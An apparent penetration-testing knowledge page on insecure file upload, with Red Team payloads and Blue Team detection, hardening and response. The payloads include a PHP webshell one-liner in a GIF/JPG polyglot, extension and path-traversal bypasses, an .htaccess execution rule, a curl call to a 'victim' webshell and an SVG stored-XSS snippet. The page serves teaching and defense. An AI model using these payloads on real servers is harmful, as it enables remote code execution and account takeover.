File upload
An insecure file upload lets the attacker place content the server executes, serves or processes dangerously. The star case is uploading a webshell for RCE, but it also yields stored XSS (SVG/HTML), file overwrite and DoS.
Threat model
Section titled “Threat model”RCE (webshell), stored XSS (SVG/HTML served inline), path traversal to overwrite files, later inclusion (LFI), and DoS via size/zip-bomb.
Anatomy
Section titled “Anatomy”Validation may live at several points and any failing one opens the door: extension, Content-Type, magic bytes, size, and where/how the file is served (inside the webroot, with execution enabled).
Red Team
Section titled “Red Team”Validation bypass
Section titled “Validation bypass”# Extensionshell.php.jpg shell.pHp shell.phtml / .php5 / .pharshell.php%00.jpg (null byte, legacy)shell.php;.jpg shell.php . (truncation/space)
# Content-TypeContent-Type: image/png (but PHP content)
# Magic bytes / polyglotGIF89a;<?php system($_GET[c]); ?> (valid image + PHP)
# Path traversal in the namefilename="../../var/www/html/shell.php"
# Config: upload .htaccess making your extension executableAddType application/x-httpd-php .jpgConfirm execution by requesting the uploaded file. For SVG/HTML, test stored XSS (SVG with script).
Exploitation flow (example)
Section titled “Exploitation flow (example)”- Upload a valid image and read the response: does it return the path? does it rename the file? which extensions get rejected?
- Locate the upload directory via recon or ffuf if the app doesn’t give you the path.
- Try bypasses one at a time until a webshell lands in the webroot with execution.
- Request the file and confirm RCE with a harmless command (
id,whoami).
# Polyglot: PHP embedded in a real JPG's metadata (with exiftool)exiftool -Comment='<?php system($_GET["c"]); ?>' photo.jpg# upload it with an extension bypass and request it:curl 'https://victim/uploads/shell.php.jpg?c=id'<!-- SVG with stored XSS (if the server serves it inline, not as an attachment) --><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>Tooling
Section titled “Tooling”Burp (Repeater/Intruder), ffuf to locate the upload directory, and
PayloadsAllTheThings lists (Upload Insecure Files).
Impact and chaining
Section titled “Impact and chaining”RCE → pivot; stored XSS → ATO; overwrite → app manipulation.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Files with an executable extension or double extension in the uploads directory.
- The web server executing scripts from uploaded-content paths.
Telemetry and sources
Section titled “Telemetry and sources”Upload logs, FIM on the uploads directory, EDR for anomalous execution.
Hardening
Section titled “Hardening”- Allow-list extensions and types and magic bytes (all three).
- Rename to a random name and store outside the webroot (or in a bucket)
served with
Content-Disposition: attachmentand no execution. - Re-encode images (removes polyglots/malicious EXIF); size limits.
- Antivirus/scan; never trust the client’s
Content-Type.
Response
Section titled “Response”Delete the file, hunt for webshells/persistence, rotate secrets and fix validation + storage location.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Insecure uploads → webshell is a recurring pattern in CMS, forums and panels; the basis of countless CVEs and real compromises.
- Image processors (e.g. ImageMagick / “ImageTragick” CVE-2016-3714) have allowed RCE when processing uploaded files.
Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Extension/Content-Type/magic-byte bypass tested.
- Uploaded-file execution confirmed (webshell) where applicable.
- Stored XSS tested with SVG/HTML.
- Path traversal in the filename tested.
- Impact documented without harming the system.